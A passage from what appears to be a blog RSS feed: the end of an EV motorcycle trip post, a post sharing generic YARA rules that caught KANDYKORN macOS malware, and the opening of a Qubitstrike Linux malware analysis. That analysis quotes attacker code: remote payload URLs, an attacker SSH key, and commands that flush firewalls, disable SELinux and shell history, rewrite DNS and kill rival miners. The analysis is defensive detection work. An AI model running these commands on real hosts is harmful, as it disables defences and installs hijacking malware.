<p>The nearby tiny town of Biscoe had a charger listed on PlugShare as vandalized and inoperable since July, so I dropped by to confirm that this is still the case. It’s weird to think that folks would vandalize an EV charger, but I imagine it was bored teenagers more than a nefarious group of anti-EV constituents.</p>

<p><img src="https://i.snap.as/6YxzIJse.jpg" alt=""/></p>

<p>Robbins, NC, has my vote for the most charming small town in the Piedmont. It has a lovely EV  charger near a great coffee shop, walking trails, and Carolina Fried Chicken and House of Pizza (aka “Chicken Hut”) I stopped here to recharge myself and the CE 04: by the time I returned to the bike, it was at 99%.</p>

<p><img src="https://i.snap.as/7Y5taLgW.jpg" alt=""/></p>

<p>After Robbins, I followed River Rd for a beautiful twisty route along the Deep River. The fall leaves and gentle curves quickly instilled a sense of peace in me. The next and final planned stop was the charger at the Goldston Public Library, where I arrived with a 53% charge.</p>

<p><img src="https://i.snap.as/tp3kW1aH.jpg" alt=""/></p>

<p>I was in a hurry to get home and made the mistake of going by intuition and unplugging the bike at 68% rather than looking up how much charge I needed. I thought I only needed a 55% charge to get home from there, but it turned out to be 72% – so I made one last charging top-off at the Chatham County Agriculture &amp; Conference Center to add another 15% onto the bike before reaching home.</p>

<p><img src="https://i.snap.as/4M06wfSN.jpg" alt=""/></p>

<p>Thinking back to this trip, it amazes me how many people went into making such an adventure possible: from the folks who organized the campout to the engineers who designed the EV chargers, and the people who built the roads. It’s a good reminder that behind all this amazing technology is a sea of people working together for the greater good of. the world.</p>

<p>That thought fills my heart. Until next time, keep the shiny side up.</p>
]]></content:encoded>
      <guid>https://unfinished.bike/motocamping-with-the-bmw-ce-04</guid>
      <pubDate>Tue, 21 Nov 2023 14:45:38 +0000</pubDate>
    </item>
    <item>
      <title>KANDYKORN and the power of generic YARA detectors</title>
      <link>https://unfinished.bike/the-power-of-generic-yara-detectors?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[At my current employer, nation-state actors are part of our threat model. So, I get a little excited when someone posts malware that is tied to one of the big-4 (China, North Korea, Russia, United States of America). Last week, Elastic Security Labs posted an article titled DPRK passing out KANDYKORN outlining the latest macOS malware discovery from North Korea, and this week a sample appeared in the Objective-See Malware collection for inspection.&#xA;&#xA;I threw our YARA queries at Kandy Korn, and found that 2 of the 3 binaries were identified as suspicious:&#xA;&#xA;!--more--&#xA;&#xA;MEDIUM objective-see/KandyKorn/kandykorn&#xA;  genericscantool&#xA;      fgethostbyname: gethostbyname&#xA;      fsocket: socket&#xA;      fconnect: connect&#xA;      oprobe: probe&#xA;      oport: port&#xA;  sha256: 927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6&#xA;/Users/t/src/malware/objective-see/KandyKorn/log&#xA;&#xA;MEDIUM objective-see/KandyKorn/log&#xA;  opaquemachobinary&#xA;      wordwithspaces: ja kw&#xA;  sha256: 3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940&#xA;&#xA;However, no virus scanners could detect this Malware until this week. That&#39;s the power of generic YARA detectors: once you define your baseline of normalcy, you can detect the truly weird things that circulate through your network.&#xA;&#xA;Two generic YARA techniques worth trying&#xA;&#xA;What do I mean by a generic YARA detector? I mean YARA rules that are designed to match multiple kinds of suspicious binaries, even those you have never seen before. &#xA;&#xA;I&#39;m going to share these two YARA rules that were capable of catching KandyKorn before it was published. The first generic query detects portscanners - it’s what I refer to as a “capabilities-based” detector:&#xA;&#xA;rule genericscantool {&#xA;  strings:&#xA;    $fgethostbyname = &#34;gethostbyname&#34;&#xA;    $fsocket = &#34;socket&#34;&#xA;    $fconnect = &#34;connect&#34;&#xA;    $obanner = &#34;banner&#34;&#xA;    $oProbe = &#34;Probe&#34;&#xA;    $oprobe = &#34;probe&#34;&#xA;    $oscan = &#34;scan&#34;&#xA;    $oport = &#34;port&#34;&#xA;  condition:&#xA;    all of ($f) and any of ($o)&#xA;}&#xA;&#xA;This rule works by trying to guess at the capabilities of a program by parsing through strings it mentions. YARA rules excel at discovering the latent capabilities of a program, which can ocassionally catch things that behavioral analysis misses.&#xA;&#xA;My second favorite kind of detector is an obfuscation-detector: searching for binaries that seem to have gone through a process to hide the strings a capabilities-based detector might rely on. &#xA;&#xA;This query uncovers Mach-O binaries that have been intentionally obfuscated, by measuring the number of words found with spaces between them:&#xA;&#xA;rule opaquemachobinary {&#xA;  strings:&#xA;    $wordwithspaces = /[a-z]{2,} [a-z]{2,}/&#xA;  condition:&#xA;    filesize &lt; 52428800 and (uint32(0) == 4277009102 or uint32(0) == 3472551422 or uint32(0) == 4277009103 or uint32(0) == 3489328638 or uint32(0) == 3405691582 or uint32(0) == 3199925962) and #wordwithspaces &lt; 4&#xA;}&#xA;&#xA;The idea is that very few Mach-O binaries have no sentence references. These sentences are sometimes error messages, sometimes usage messages, and sometimes phrases that are displayed to the screen. Almost no binaries have less than 4 words with spaces.&#xA;&#xA;Since writing this rule, I haven&#39;t seen that alert fire for anything other than malware, and it has caught quite a few samples.&#xA;&#xA;Here&#39;s a bonus query that matches the &#34;Discord&#34; binary by way of looking at its capabilities. This query Swift binaries that ship with a debugging entitlement and references executables, which isn&#39;t a common combination. This entitlement is normally stripped when you ship a binary, but I guess the DPRK did not get that memo.&#xA;&#xA;rule swiftdebugprogramwithexecref {&#xA;&#x9;strings:&#xA;&#x9;&#x9;$taskallow = &#34;com.apple.security.get-task-allow&#34;&#xA;&#x9;&#x9;$mhexecuteheader = &#34;mhexecuteheader&#34;&#xA;&#x9;&#x9;$executable = &#34;executable&#34;&#xA;&#x9;&#x9;$swiftforceload = &#34;_swiftFORCELOAD&#34;&#xA;&#x9;condition:&#xA;&#x9;&#x9;all of them&#xA;}&#xA;&#xA;This next generic query also matches Janicab, though I suspect it will also yield false positives:&#xA;&#xA;rule executableplaceref {&#xA;&#x9;strings:&#xA;&#x9;&#x9;$xecURL = &#34;xecURL&#34;&#xA;&#x9;&#x9;$xecutableURL = &#34;xecutableURL&#34;&#xA;&#x9;&#x9;$xecUrl = &#34;xecUrl&#34;&#xA;&#x9;&#x9;$xecutableUrl = &#34;xecutableUrl&#34;&#xA;&#x9;&#x9;$xecFile = &#34;xecFile&#34;&#xA;&#x9;&#x9;$xecutableFile = &#34;xecutableFile&#34;&#xA;&#x9;condition:&#xA;&#x9;&#x9;any of them&#xA;}&#xA;The “kandykorn” binary has many opportunities to be matched generically based on latent capabilities. For example, very few programs list system pids and reference libcurl:&#xA;&#xA;rule proclistpidsandcurl {&#xA;&#x9;strings:&#xA;&#x9;&#x9;$proclistpids = &#34;proclistpids&#34;&#xA;&#x9;&#x9;$libcurl = &#34;libcurl&#34;&#xA;&#x9;condition:&#xA;&#x9;&#x9;all of them&#xA;}&#xA;&#xA;Similarly, the log binary (aka SUGARLOADER) can be matched by the following YARA query:&#xA;&#xA;rule notificationdialogwithsysctlandcurl {&#xA;&#x9;strings:&#xA;&#x9;&#x9;$displayalert = &#34;CFUserNotificationDisplayAlert&#34;&#xA;&#x9;&#x9;$socket = &#34;socket&#34;&#xA;&#x9;&#x9;$sysctl = &#34;sysctl&#34;&#xA;&#x9;&#x9;$getpid = &#34;getpid&#34;&#xA;&#x9;&#x9;$curl = &#34;curl&#34;&#xA;&#x9;condition:&#xA;&#x9;&#x9;all of them&#xA;}&#xA;&#xA;Some may argue that generic queries like this are a headache due to false-positive management, but it depends on your mission and threat model: are you more interested in catching known or unknown malware? If the latter, try generic queries and aggressively update them to reduce the false positive rate to near zero. Consider all alerts to be actionable.&#xA;&#xA;If you need hints as to what to match in your generic queries, here&#39;s an alias I keep around to extract the more important strings for UNIX binaries:&#xA;&#xA;strings - &#34;$1&#34; &#xA;  | egrep &#34;/a-zA-Z{2,}|[A-Za-z]{4}|[a-zA-Z]{2}-[a-zA-Z]{2}|\d+\.\d+\.\d+|[0-9a-f]:[0-9a-f]&#34; &#xA;  | egrep -v &#34;^(TEXT|DATA|text|stubs|cstring|const|data|common|LINKEDIT|literals|_ojcmethname|_unwindinfo|_modinitfunc|obj|_lasymbolptr|ehframe|_DATACONST|PAGEZERO|initoffsets|swift5.|_objc.|AUAT.|AVAUI.)$&#34; | uniq&#xA;&#xA;Good luck out there!]]&gt;</description>
      <content:encoded><![CDATA[<p>At my current employer, nation-state actors are part of our threat model. So, I get a little excited when someone posts malware that is tied to one of the big-4 (China, North Korea, Russia, United States of America). Last week, Elastic Security Labs posted an article titled <a href="https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn">DPRK passing out KANDYKORN</a> outlining the latest macOS malware discovery from North Korea, and this week a sample appeared in the <a href="https://github.com/objective-see/Malware">Objective-See Malware collection</a> for inspection.</p>

<p><img src="https://i.snap.as/ZPNXRdih.webp" alt=""/></p>

<p>I threw our <a href="https://yara.readthedocs.io/en/v3.4.0/index.html">YARA</a> queries at Kandy Korn, and found that 2 of the 3 binaries were identified as suspicious:</p>



<pre><code class="language-log">MEDIUM objective-see/KandyKorn/kandykorn
  * generic_scan_tool
      f_gethostbyname: gethostbyname
      f_socket: socket
      f_connect: connect
      o_probe: probe
      o_port: port
  - sha256: 927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6
/Users/t/src/malware/objective-see/KandyKorn/log

MEDIUM objective-see/KandyKorn/log
  * opaque_macho_binary
      word_with_spaces: ja kw
  - sha256: 3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940
</code></pre>

<p>However, no virus scanners could detect this Malware until this week. That&#39;s the power of generic YARA detectors: once you define your baseline of normalcy, you can detect the truly weird things that circulate through your network.</p>

<h2 id="two-generic-yara-techniques-worth-trying" id="two-generic-yara-techniques-worth-trying">Two generic YARA techniques worth trying</h2>

<p>What do I mean by a generic YARA detector? I mean YARA rules that are designed to match multiple kinds of suspicious binaries, even those you have never seen before.</p>

<p>I&#39;m going to share these two YARA rules that were capable of catching KandyKorn before it was published. The first generic query detects portscanners – it’s what I refer to as a “capabilities-based” detector:</p>

<pre><code class="language-yara">rule generic_scan_tool {
  strings:
    $f_gethostbyname = &#34;gethostbyname&#34;
    $f_socket = &#34;socket&#34;
    $f_connect = &#34;connect&#34;
    $o_banner = &#34;banner&#34;
    $o_Probe = &#34;Probe&#34;
    $o_probe = &#34;probe&#34;
    $o_scan = &#34;scan&#34;
    $o_port = &#34;port&#34;
  condition:
    all of ($f*) and any of ($o*)
}
</code></pre>

<p>This rule works by trying to guess at the capabilities of a program by parsing through strings it mentions. YARA rules excel at discovering the latent capabilities of a program, which can ocassionally catch things that behavioral analysis misses.</p>

<p>My second favorite kind of detector is an obfuscation-detector: searching for binaries that seem to have gone through a process to hide the strings a capabilities-based detector might rely on.</p>

<p>This query uncovers Mach-O binaries that have been intentionally obfuscated, by measuring the number of words found with spaces between them:</p>

<pre><code class="language-yara">rule opaque_macho_binary {
  strings:
    $word_with_spaces = /[a-z]{2,} [a-z]{2,}/
  condition:
    filesize &lt; 52428800 and (uint32(0) == 4277009102 or uint32(0) == 3472551422 or uint32(0) == 4277009103 or uint32(0) == 3489328638 or uint32(0) == 3405691582 or uint32(0) == 3199925962) and #word_with_spaces &lt; 4
}
</code></pre>

<p>The idea is that very few Mach-O binaries have no sentence references. These sentences are sometimes error messages, sometimes usage messages, and sometimes phrases that are displayed to the screen. Almost no binaries have less than 4 words with spaces.</p>

<p>Since writing this rule, I haven&#39;t seen that alert fire for anything other than malware, and it has caught quite a few samples.</p>

<p>Here&#39;s a bonus query that matches the “Discord” binary by way of looking at its capabilities. This query Swift binaries that ship with a debugging entitlement and references executables, which isn&#39;t a common combination. This entitlement is normally stripped when you ship a binary, but I guess the DPRK did not get that memo.</p>

<pre><code class="language-yara">rule swift_debug_program_with_exec_ref {
	strings:
		$task_allow = &#34;com.apple.security.get-task-allow&#34;
		$mh_execute_header = &#34;_mh_execute_header&#34;
		$executable = &#34;executable&#34;
		$swift_force_load = &#34;__swift_FORCE_LOAD&#34;
	condition:
		all of them
}
</code></pre>

<p>This next generic query also matches <a href="https://archive.f-secure.com/weblog/archives/00002576.html">Janicab</a>, though I suspect it will also yield false positives:</p>

<pre><code class="language-yara">rule executable_place_ref {
	strings:
		$xecURL = &#34;xecURL&#34;
		$xecutableURL = &#34;xecutableURL&#34;
		$xecUrl = &#34;xecUrl&#34;
		$xecutableUrl = &#34;xecutableUrl&#34;
		$xecFile = &#34;xecFile&#34;
		$xecutableFile = &#34;xecutableFile&#34;
	condition:
		any of them
}
</code></pre>

<p>The “kandykorn” binary has many opportunities to be matched generically based on latent capabilities. For example, very few programs list system pids and reference libcurl:</p>

<pre><code class="language-yara">rule proc_listpids_and_curl {
	strings:
		$proc_listpids = &#34;proc_listpids&#34;
		$libcurl = &#34;libcurl&#34;
	condition:
		all of them
}
</code></pre>

<p>Similarly, the <code>log</code> binary (aka SUGARLOADER) can be matched by the following YARA query:</p>

<pre><code class="language-yara">rule notification_dialog_with_sysctl_and_curl {
	strings:
		$display_alert = &#34;CFUserNotificationDisplayAlert&#34;
		$socket = &#34;socket&#34;
		$sysctl = &#34;sysctl&#34;
		$getpid = &#34;getpid&#34;
		$curl = &#34;curl&#34;
	condition:
		all of them
}
</code></pre>

<p>Some may argue that generic queries like this are a headache due to false-positive management, but it depends on your mission and threat model: are you more interested in catching known or unknown malware? If the latter, try generic queries and aggressively update them to reduce the false positive rate to near zero. Consider all alerts to be actionable.</p>

<p>If you need hints as to what to match in your generic queries, here&#39;s an alias I keep around to extract the more important strings for UNIX binaries:</p>

<pre><code class="language-shell">strings - &#34;$1&#34; 
  | egrep &#34;/[a-zA-Z][a-z]{2,}|[A-Za-z]{4}|[a-zA-Z]{2}-[a-zA-Z]{2}|\d+\.\d+\.\d+|[0-9a-f]:[0-9a-f]&#34; 
  | egrep -v &#34;^(__TEXT|__DATA|__text|__stubs|__cstring|__const|__data|__common|__LINKEDIT|__literals|__ojc_methname|__unwind_info|__mod_init_func|__obj_|__la_symbol_ptr|__eh_frame|__DATA_CONST|__PAGEZERO|__init_offsets|__swift5_.*|__objc_.*|AUAT.*|AVAUI.*)$&#34; | uniq
</code></pre>

<p>Good luck out there!</p>
]]></content:encoded>
      <guid>https://unfinished.bike/the-power-of-generic-yara-detectors</guid>
      <pubDate>Sat, 04 Nov 2023 01:53:25 +0000</pubDate>
    </item>
    <item>
      <title>Qubitstrike: Linux kernel rootkits go mainstream</title>
      <link>https://unfinished.bike/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Earlier this week, I stumbled into Cado&#39;s report on Qubitstrike, an attack on publicly accessible Jupyter notebook installations. Unlike most security reports, the hosted malware files were still available, which meant I could analyze and validate our defenses against it. Normally, I don&#39;t get this opportunity to study emerging threats, as I&#39;m not paying the $20,000/yr paywall fee for access to Google&#39;s VirusTotal service that most researchers seem to rely on.&#xA;&#xA;!--more--&#xA;&#xA;I really like QubitStrike: it has a bit of everything and is easy to dissect. The most exciting thing about it is that it&#39;s the first example I&#39;ve seen of casual attackers employing a kernel rootkit that actually works on the latest versions of popular Linux distributions. Let&#39;s take a tour!&#xA;&#xA;The Qubitstrike Installer&#xA;&#xA;If you ever wanted to study how your modern malware installer operates on Linux, the Qubitstrike installer script is the perfect case study for you - it&#39;s like a tasting tour of UNIX malware techniques in a single easy-to-read shell script.&#xA;&#xA;Two Linux rootkits (kernel and user-mode)&#xA;Process hiding&#xA;Credential theft&#xA;An SSH backdoor&#xA;A viral component&#xA;A cryptocurrency miner&#xA;Telegram integration&#xA;&#xA;To follow along, I&#39;ve posted a copy of the original installer script here: mi.sh. If you want to test the installer yourself within a VM, I&#39;ve made a defanged copy of it that works without downloading content from codeberg: local-mi.sh&#xA;&#xA;Installer Initialization&#xA;&#xA;minerurl=&#34;https://codeberg.org/m4rt1/sh/raw/branch/main/xm64.tar.gz&#34;&#xA;minername=&#34;python-dev&#34;&#xA;killerurl=&#34;https://codeberg.org/m4rt1/sh/raw/branch/main/killer.sh&#34;&#xA;killurl2=&#34;https://codeberg.org/m4rt1/sh/raw/branch/main/killloop.sh&#34;&#xA;pool=&#34;pool.hashvault.pro:80&#34;&#xA;MD5=&#34;199b790d05724170f3e6583500799db1&#34;&#xA;DIR=&#34;/usr/share/.LQvKibDTq4&#34;&#xA;RSA=&#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali&#34;&#xA;[[ $EUID -eq 0 ]] || DIR=&#34;/tmp/.LQvKibDTq4&#34; ;&#xA;&#xA;Even the initialization part of the script contains multiple detection opportunities, as the following things are highly irregular to find in executables or shell scripts:&#xA;&#xA;References to codeberg.org/./raw/&#xA;References to hashvault or miner&#xA;References to hidden /usr/share and /tmp directories&#xA;SSH keys&#xA;&#xA;Fetch Tools&#xA;&#xA;I&#39;m now going to show the installer output in debug mode (using bash -x), as it usually makes the behavior easier to discern. If you are on a Linux distro that has &#34;apt&#34;, &#34;yum&#34;, or &#34;apk&#34; package manager available, the script will install curl or wget for you:&#xA;&#xA;---------------------------------------&#xA; INSTALLING WGET, CURL ...&#xA;---------------------------------------&#xA;type apt&#xA;apt-get update --fix-missing&#xA;Hit:1 http://archive.ubuntu.com/ubuntu lunar InRelease                   &#xA;Hit:2 http://security.ubuntu.com/ubuntu lunar-security InRelease         &#xA;Hit:3 http://archive.ubuntu.com/ubuntu lunar-updates InRelease           &#xA;Hit:4 http://archive.ubuntu.com/ubuntu lunar-backports InRelease&#xA;Reading package lists... Done&#xA;apt-get install wget curl -y&#xA;Reading package lists... Done&#xA;Building dependency tree... Done&#xA;Reading state information... Done&#xA;wget is already the newest version (1.21.3-1ubuntu1).&#xA;curl is already the newest version (7.88.1-8ubuntu2.3).&#xA;0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.&#xA;&#xA;A script or executable containing &#34;apt-get install wget curl -y&#34; is probably malware, so it&#39;s not a bad thing to alert on. Once a fetch tool is installed, it moves it to a new location to break future attackers, as well as bypass detection queries that look for wget or curl:&#xA;&#xA;---------------------------------------&#xA; Replacing WGET, CURL ...&#xA;---------------------------------------&#xA;sleep 1s&#xA;[[ -f /usr/bin/wget ]]&#xA;mv /usr/bin/wget /usr/bin/zget&#xA;[[ -f /usr/bin/curl ]]&#xA;mv /usr/bin/curl /usr/bin/zurl&#xA;[[ -f /bin/wget ]]&#xA;[[ -f /bin/curl ]]&#xA;++ command -v zget&#xA;[[ -x /usr/bin/zget ]]&#xA;req=&#39;zget -q -O -&#39;&#xA;DLr=&#39;zget -O&#39;&#xA;&#xA;Then we use the newly renamed fetch tool to query for our Internet IP using ifconfig.me. The script later uses this value as a client ID:&#xA;&#xA;++ zget -q -O - ifconfig.me&#xA;client=136.54.68.146&#xA;&#xA;The &#34;restart&#34; argument&#xA;&#xA;Curiously, the installer supports a restart argument, which provides a handy way to re-set up an infected host. It also gives you a starting point to sort out how to clean up an infected host, though it doesn’t seem to do anything about the kernel rootkit or other system-level changes:&#xA;&#xA;    chattr -R -i /usr/share/.LQvKibDTq4/&#xA;    rm -rf /usr/share/.LQvKibDTq4/&#xA;    rm -rf /tmp/.LQvKibDTq4/&#xA;    rm -rf /usr/share/.28810&#xA;    rm -rf /etc/cron.d/netns&#xA;    chattr -i /etc/ld.so.preload&#xA;    chattr -i /usr/local/lib/libnetresolv.so&#xA;    rm -rf /usr/local/lib/libnetresolv.so /etc/ld.so.preload&#xA;    pkill -f python-dev&#xA;    pkill python-dev&#xA;    killall python-dev&#xA;    mkdir -p $DIR&#xA;    start&#xA;&#xA;Begin Disable Security&#xA;&#xA;Now things get serious, as the malware begins by actively degrading the security posture of the Linux host:&#xA;&#xA;---------------------------------------&#xA; Begin disable security &#xA;---------------------------------------&#xA;cover&#xA;iptables -F&#xA;systemctl stop firewalld&#xA;systemctl disable firewalld&#xA;&#xA;At this point, it has flushed all existing iptables firewall rules and killed off the firewalld firewall manager (used mainly by Red Hat). Next, the script increases the file descriptor count from a typical value of 1024 to 65535 for reasons I&#39;m not quite sure of.&#xA;&#xA;ulimit -n 65535&#xA;&#xA;Then, it begins disabling the shell command history. First, by hiding all commands that begin with a with a &#34; &#34; character:&#xA;&#xA;HISTCONTROL=ignorespace&#xA;&#xA;HISTCONTROL=ignorespace is an entirely new feature to me (why does it even exist?). The script then disables the history file altogether via a variety of mechanisms, making that setting useless anyways.&#xA;&#xA;export HISTFILE=/dev/null&#xA;unset HISTFILE&#xA;shopt -ou history&#xA;set +o history&#xA;HISTSIZE=0&#xA;&#xA;If you are not already alerting on programs executing with these HIST\ values, you should begin today. These values are rarely seen outside of malware, particularly HISTFILE=/dev/null. Next, the installer disables SELinux, which should be causing alarms to go off:&#xA;&#xA;setenforce 0&#xA;echo SELINUX=disabled&#xA;&#xA;Next, Qubitstrike disables the Linux kernel NMI watchdog for what I have to assume are performance reasons - as it decreases the amount of non-maskable interrupts on the system. Perhaps it also decreases the chances that the host will reboot due to a misbehaving crypto miner:&#xA;&#xA;sysctl kernel.nmiwatchdog=0&#xA;sysctl kernel.nmiwatchdog=0&#xA;echo &#39;0&#39;   /proc/sys/kernel/nmiwatchdog&#xA;echo &#39;kernel.nmiwatchdog=0&#39;     /etc/sysctl.conf&#xA;&#xA;More detection opportunities: calls to sysctl, edits to /proc/sys/kernel, and edits to /etc/sysctl.conf. The next thing the installer does in its preparation is modify the system&#39;s DNS resolvers. This is a great way to bypass malware detection that requires a local or custom DNS server and improve reliability if the system does not have a stable DNS server defined.&#xA;&#xA;grep -q 8.8.8.8 /etc/resolv.conf || chattr -i /etc/resolv.conf 2  /dev/null 1  /dev/null; echo &#34;nameserver 8.8.8.8&#34;     /etc/resolv.conf;&#xA;grep -q 8.8.4.4 /etc/resolv.conf || chattr -i /etc/resolv.conf 2  /dev/null 1  /dev/null; echo &#34;nameserver 8.8.4.4&#34;     /etc/resolv.conf;&#xA;&#xA;Squeezing out the competition&#xA;&#xA;The firewall rules are reprogrammed to drop packets to and from competing miners:&#xA;&#xA;    iptables -A OUTPUT -p tcp --dport 3333 -j DROP   /dev/null 2  &amp;1&#xA;    iptables -A OUTPUT -p tcp --dport 5555 -j DROP   /dev/null 2  &amp;1&#xA;    iptables -A OUTPUT -p tcp --dport 7777 -j DROP   /dev/null 2  &amp;1&#xA;    iptables -A OUTPUT -p tcp --dport 9999 -j DROP   /dev/null 2  &amp;1&#xA;    iptables -A INPUT -s xmr.crypto-pool.fr -j DROP   /dev/null 2  &amp;1&#xA;    iptables -A OUTPUT -p tcp --dport 10343 -j DROP   /dev/null 2  &amp;1&#xA;    iptables -A OUTPUT -p tcp --dport 10300 -j DROP   /dev/null 2  &amp;1&#xA;&#xA;To further squeeze out the competition, Qubitstrike then begins killing off any process that consumes more than 99% CPU, as well as nuking known miner processes by name:&#xA;&#xA;prockl() {&#xA;  # KILL any bproc with 99% CPU&#xA;  ps aux | grep -vw python-dev | awk &#39;{if($3  99.0) print $2}&#39; | while read procid&#xA;  do&#xA;    kill -9 $procid&#xA;  done&#xA;&#xA;  chattr -i etc/ld.so.preload   /dev/null 2  &amp;1&#xA;  rm -rf /etc/ld.so.preload   /dev/null 2  &amp;1&#xA;&#xA;  list1=(\.Historys neptune xm64 xmrig suppoieup &#39;.jpg&#39; &#39;.jpeg&#39; &#39;/tmp/.jpg&#39; &#39;/tmp//.jpg&#39; &#39;/tmp/.xmr&#39; &#39;/tmp/xmr&#39; &#39;/tmp//xmr&#39; &#39;/tmp///xmr&#39; &#39;/tmp/nanom&#39; &#39;/tmp//nanom&#39; &#39;/tmp/dota&#39; &#39;/tmp/dota&#39; &#39;/tmp//dota&#39; &#39;/tmp///dota&#39;,&#39;chron-34e2fg&#39;)&#xA;&#xA;  list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota)&#xA;&#xA;  list3=(&#39;/tmp/sscks&#39; &#39;./crun&#39; &#39;:3333&#39; &#39;:5555&#39; &#39;log&#39; &#39;systemten&#39; &#39;netns&#39; &#39;voltuned&#39; &#39;darwin&#39; &#39;/tmp/dl&#39; &#39;/tmp/ddg&#39; &#39;/tmp/pprt&#39; &#39;/tmp/ppol&#39; &#39;/tmp/65ccE&#39; &#39;/tmp/jmx&#39; &#39;/tmp/xmr&#39; &#39;/tmp/nanom&#39; &#39;/tmp/rainbow&#39; &#39;/tmp//xmr&#39; &#39;http0xCC030&#39; &#39;http0xCC031&#39; &#39;http0xCC033&#39; &#39;C4iLM4L&#39; &#39;/boot/vmlinuz&#39; &#39;nqscheduler&#39; &#39;/tmp/java&#39; &#39;gitee.com&#39; &#39;kthrotlds&#39; &#39;ksoftirqds&#39; &#39;netdns&#39; &#39;watchdogs&#39; &#39;/dev/shm/z3.sh&#39; &#39;kinsing&#39; &#39;/tmp/l.sh&#39; &#39;/tmp/zmcat&#39; &#39;/tmp/udevd&#39; &#39;sustse&#39; &#39;mr.sh&#39; &#39;mine.sh&#39; &#39;2mr.sh&#39; &#39;cr5.sh&#39; &#39;luk-cpu&#39; &#39;ficov&#39; &#39;he.sh&#39; &#39;miner.sh&#39; &#39;nullcrew&#39; &#39;xmrigDaemon&#39; &#39;xmrig&#39; &#39;lolminer&#39; &#39;xmrigMiner&#39; &#39;xiaoyao&#39; &#39;kernelcfg&#39; &#39;xiaoxue&#39; &#39;kernelupdates&#39; &#39;kernelupgrade&#39;  &#39;107.174.47.156&#39; &#39;83.220.169.247&#39; &#39;51.38.203.146&#39; &#39;144.217.45.45&#39; &#39;107.174.47.181&#39; &#39;176.31.6.16&#39; &#39;mine.moneropool.com&#39; &#39;pool.t00ls.ru&#39; &#39;xmr.crypto-pool.fr:8080&#39; &#39;xmr.crypto-pool.fr:3333&#39; &#39;zhuabcn@yahoo.com&#39; &#39;monerohash.com&#39; &#39;xmr.crypto-pool.fr:6666&#39; &#39;xmr.crypto-pool.fr:7777&#39; &#39;xmr.crypto-pool.fr:443&#39; &#39;stratum.f2pool.com:8888&#39; &#39;xmrpool.eu&#39;)&#xA;&#xA;  list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer)&#xA;&#xA;  if type killall   /dev/null 2  &amp;1; then&#xA;    for k1 in &#34;${list1[@]}&#34; ; do killall $k1 ; done&#xA;  fi&#xA;&#xA;  for k2 in &#34;${list2[@]}&#34; ; do pgrep $k2 | xargs -I % kill -9 % ; done&#xA;  for k3 in &#34;${list3[@]}&#34; ; do ps auxf | grep -v grep | grep $k3 | awk &#39;{print $2}&#39; | xargs -I % kill -9 % ; done&#xA;  for k4 in &#34;${list4[@]}&#34; ; do pkill -f $k4 ; done&#xA;}&#xA;&#xA;If you are looking for crypto miners, that&#39;s a good list of unusual processes and command-line strings to watch for! Next, the installer kills off any process with an outgoing connection to what are likely standard miner ports, but 143 (IMAP), 3389 (Remote Desktop), and 6667 (ircd) stand out to me.&#xA;&#xA;list=(&#39;:1414&#39; &#39;127.0.0.1:52018&#39; &#39;:143&#39; &#39;:3389&#39; &#39;:4444&#39; &#39;:5555&#39; &#39;:6666&#39; &#39;:6665&#39; &#39;:6667&#39; &#39;:7777&#39;  &#39;:3347&#39; &#39;:14444&#39; &#39;:14433&#39; &#39;:13531&#39; &#39;:15001&#39; &#39;:15002&#39;)&#xA;for k in &#34;${list[@]}&#34; ; do netstat -anp | grep $k | awk &#39;{print $7}&#39; | awk -F&#39;[/]&#39; &#39;{print $1}&#39; | grep -v &#34;-&#34; | xargs -I % kill -9 % ; done&#xA;netstat -antp | grep &#39;46.243.253.15&#39; | grep &#39;ESTABLISHED\|SYNSENT&#39; | awk &#39;{print $7}&#39; | sed -e &#34;s/\/.//g&#34; | xargs -I % kill -9 %&#xA;netstat -antp | grep &#39;176.31.6.16&#39; | grep &#39;ESTABLISHED\|SYNSENT&#39; | awk &#39;{print $7}&#39; | sed -e &#34;s/\/.//g&#34; | xargs -I % kill -9 %&#xA;netstat -antp | grep &#39;108.174.197.76&#39; | grep &#39;ESTABLISHED\|SYNSENT&#39; | awk &#39;{print $7}&#39; | sed -e &#34;s/\/.//g&#34; | xargs -I % kill -9 %&#xA;netstat -antp | grep &#39;192.236.161.6&#39; | grep &#39;ESTABLISHED\|SYNSENT&#39; | awk &#39;{print $7}&#39; | sed -e &#34;s/\/.//g&#34; | xargs -I % kill -9 %&#xA;netstat -antp | grep &#39;88.99.242.92&#39; | grep &#39;ESTABLISHED\|SYNSENT&#39; | awk &#39;{print $7}&#39; | sed -e &#34;s/\/.//g&#34; | xargs -I % kill -9 %&#xA;&#xA;Makin&#39; $$$ with XMRig&#xA;&#xA;The install script increases the number of hugepages 